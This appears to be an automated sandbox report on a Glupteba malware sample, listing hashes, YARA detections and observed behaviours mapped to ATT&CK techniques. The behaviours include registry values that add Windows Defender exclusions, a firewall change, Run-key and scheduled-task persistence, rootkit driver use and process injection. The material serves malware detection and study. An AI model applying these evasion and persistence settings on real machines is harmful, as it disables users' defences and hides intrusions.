glupteba | 82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43

Analysis

max time kernel
299s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
25/04/2024, 03:06

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General

Target
82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Size 4.1MB
Sample240425-dlssjsed9t
SHA256 82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43
MD5 42119ae904d0c7f194fd376393a116da
SHA1 5d40445d8b7a52453f9f675093b56ee416a22468
SHA512 ecec7df711d56acada4a55ce4bd9b7eb1619c239eedfcf0738332350fb0a54488cdb42d63f9d833f431040d865d6b93476ebbf13d962582f684f9c732f2648be
SSDEEP 98304:87CpLvl2gnCy4H8kFlcOvbdf55r7akoa3qzyFow:TpLN258g3zR5Z5oav
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

glupteba discovery dropper evasion loader persistence rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 30 IoCs

resource	yara_rule
behavioral2/memory/4604-2-0x0000000006580000-0x0000000006E6B000-memory.dmp	family_glupteba
behavioral2/memory/4604-299-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4604-303-0x0000000006580000-0x0000000006E6B000-memory.dmp	family_glupteba
behavioral2/memory/2216-1037-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1774-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1783-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1785-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1787-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1789-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1791-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1793-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1795-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1797-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1799-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1801-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1803-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1805-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1807-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1809-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1811-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1813-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1815-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-1817-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-2339-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-2567-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-2572-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-2576-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-2579-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-2583-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba
behavioral2/memory/4740-2587-0x0000000000400000-0x0000000004417000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
364	netsh.exe

Executes dropped EXE 7 IoCs

pid	Process
4740	csrss.exe
1116	injector.exe
808	windefender.exe
4424	windefender.exe
2888	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
3120	713674d5e968cbe2102394be0b2bae6f.exe
5000	1bf850b4d9587c1017a75a47680584c4.exe

UPX packed file 18 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001ac5f-1777.dat	upx
behavioral2/memory/808-1782-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/4424-1784-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/4424-1788-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x000900000001ac61-2063.dat	upx
behavioral2/memory/2888-2072-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/files/0x000900000001ac62-2312.dat	upx
behavioral2/files/0x000900000001ac63-2563.dat	upx
behavioral2/memory/3120-2568-0x00000000013D0000-0x0000000001C9D000-memory.dmp	upx
behavioral2/memory/5000-2570-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/3120-2571-0x00000000013D0000-0x0000000001C9D000-memory.dmp	upx
behavioral2/memory/5000-2573-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/3120-2575-0x00000000013D0000-0x0000000001C9D000-memory.dmp	upx
behavioral2/memory/5000-2577-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/3120-2580-0x00000000013D0000-0x0000000001C9D000-memory.dmp	upx
behavioral2/memory/5000-2581-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/3120-2584-0x00000000013D0000-0x0000000001C9D000-memory.dmp	upx
behavioral2/memory/5000-2585-0x0000000000400000-0x00000000008E8000-memory.dmp	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
File created	C:\Windows\rss\csrss.exe	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4280	sc.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3940	schtasks.exe
3156	schtasks.exe

GoLang User-Agent 4 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	41	Go-http-client/1.1
HTTP User-Agent header	42	Go-http-client/1.1
HTTP User-Agent header	173	Go-http-client/1.1
HTTP User-Agent header	174	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	713674d5e968cbe2102394be0b2bae6f.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-491 = "India Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-632 = "Tokyo Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2752 = "Tomsk Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-371 = "Jerusalem Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-121 = "SA Pacific Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-732 = "Fiji Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-741 = "New Zealand Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2532 = "Chatham Islands Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
4604	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
4604	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
3124	powershell.exe
3124	powershell.exe
3124	powershell.exe
2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
3148	powershell.exe
3148	powershell.exe
3148	powershell.exe
1868	powershell.exe
1868	powershell.exe
1868	powershell.exe
1348	powershell.exe
1348	powershell.exe
1348	powershell.exe
4260	powershell.exe
4260	powershell.exe
4260	powershell.exe
2160	powershell.exe
2160	powershell.exe
2160	powershell.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
4740	csrss.exe
4740	csrss.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
4740	csrss.exe
4740	csrss.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
4740	csrss.exe
4740	csrss.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe
1116	injector.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	4604	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Token: SeImpersonatePrivilege	4604	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
Token: SeDebugPrivilege	3124	powershell.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeDebugPrivilege	1348	powershell.exe
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeSystemEnvironmentPrivilege	4740	csrss.exe
Token: SeSecurityPrivilege	4280	sc.exe
Token: SeSecurityPrivilege	4280	sc.exe
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 3460	4604	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	74
PID 4604 wrote to memory of 3460	4604	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	74
PID 4604 wrote to memory of 3460	4604	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	74
